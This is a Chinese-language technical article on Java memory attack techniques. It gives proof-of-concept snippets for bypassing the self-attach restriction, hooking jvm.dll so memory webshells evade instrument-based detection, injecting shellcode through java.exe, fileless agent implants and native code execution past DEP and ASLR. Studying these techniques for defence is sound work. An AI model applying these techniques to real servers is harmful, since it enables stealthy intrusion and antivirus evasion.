Java内存攻击技术漫谈
字数 1644 2025-08-05 00:15:28
Java内存攻击技术深入解析
前言
Java技术栈漏洞已成为Web安全领域的主流战场。随着防御系统的升级,Java攻防阵地已从磁盘转移到内存层面。本文将全面解析Java内存攻击技术,包括绕过安全限制、内存马防检测、远程进程注入等高级技术。
allowAttachSelf绕过技术
背景
Java 9+默认禁止SelfAttach,通过jdk.attach.allowAttachSelf参数控制,默认为false。
绕过原理
HotSpotVirtualMachine类初始化时会读取VM启动参数并保存到静态属性ALLOW_ATTACH_SELF- 该属性为静态,可通过反射修改
POC实现
Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field = cls.getDeclaredField("ALLOW_ATTACH_SELF");
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setBoolean(null, true);
内存马防检测技术
内存马分类
- Agent型:利用instrument机制修改现有类执行逻辑,JVM层注入,通用性强
- 非Agent型:新增Web组件(Servlet/Filter等),依赖容器环境,通用性弱
检测方法
- 反射检测:检测新增类和对象,无法检测Agent型
- instrument检测:通过attach注入检测逻辑,可检测所有类型
防检测原理
破坏instrument机制使检测工具无法attach:
Windows平台
- Hook
jvm.dll中的JVM_EnqueueOperation和_JVM_EnqueueOperation@20函数 - 使用JNI修改函数入口为直接返回
unsigned char buf[] = "\xc2\x14\x00"; // 32位直接返回
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
LPVOID dst = GetProcAddress(hModule, "_JVM_EnqueueOperation@20");
DWORD old;
VirtualProtectEx(GetCurrentProcess(), dst, 3, PAGE_EXECUTE_READWRITE, &old);
WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);
Linux平台
删除UNIX Domain Socket文件破坏IPC通信
Java原生远程进程注入
Windows平台实现
- Java的instrument在Windows平台会使用
CreateRemoteThread启动stub线程 - 该线程执行体在客户端生成,作为字节数组传递
POC示例
Class cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");
Method m = cls.getDeclaredMethod("enqueue", long.class, byte[].class, String.class, String.class, Object[].class);
byte[] shellcode = {...}; // 弹计算器的shellcode
m.invoke(null, -1L, shellcode, "test", "test", new Object[]{});
特点:利用合法签名的Java.exe进程注入,天然免杀
自定义类调用系统Native库函数
技术要点
- 自定义
sun.tools.attach.VirtualMachineImpl类 - 绕过类加载双亲委托机制,直接defineClass
- Native函数调用时只检查类限定名,不检查ClassLoader
实现示例
public class WindowsVirtualMachine {
static native void enqueue(long hProcess, byte[] stub, String cmd, String pipename, Object... args);
// ...
}
无文件落地Agent型内存马植入
可行性分析
传统Agent型内存马需要agent文件落地,新方法通过伪造JPLISAgent对象实现无文件注入
技术实现
- Native内存操作:使用Unsafe类分配和操作堆外内存
- JPLISAgent结构分析:
- 包含mNormalEnvironment成员指向JVMTIEnv
- mRedefineAvailable必须设为true
- 定位JVMTIEnv:
- 通过内存搜索找到jvm模块基址
- 计算固定偏移量获取JVMTIEnv地址
完整POC关键步骤
- 使用Unsafe分配内存伪造JPLISAgent
- 构造InstrumentationImpl实例
- 调用redefineClasses修改目标类
Java跨平台任意Native代码执行
技术原理
- 伪造jvmtienv对象,覆盖函数指针
- allocate函数指针位于jvmtienv+0x168偏移处
- 覆盖该指针指向shellcode
绕过防护
- 绕过DEP:将shellcode写入JIT区域(RWX)
- 绕过ASLR:
- 方法1:指针指纹匹配
- 方法2:内存搜索定位JIT区域
完整流程
- 搜索内存定位可执行区域
- 布置伪造的jvmtienv对象
- 覆盖allocate函数指针
- 触发redefineClasses执行shellcode
小结
本文详细介绍了多种Java内存攻击技术:
- allowAttachSelf绕过技术
- 内存马防检测的跨平台实现
- 原生远程进程注入技术
- 无文件Agent型内存马植入
- 跨平台任意Native代码执行
这些技术可用于高级攻防场景,同时也提醒防御方需要加强内存层面的防护。测试环境为Win10/Ubuntu+Java 1.8.0_301/271_x64。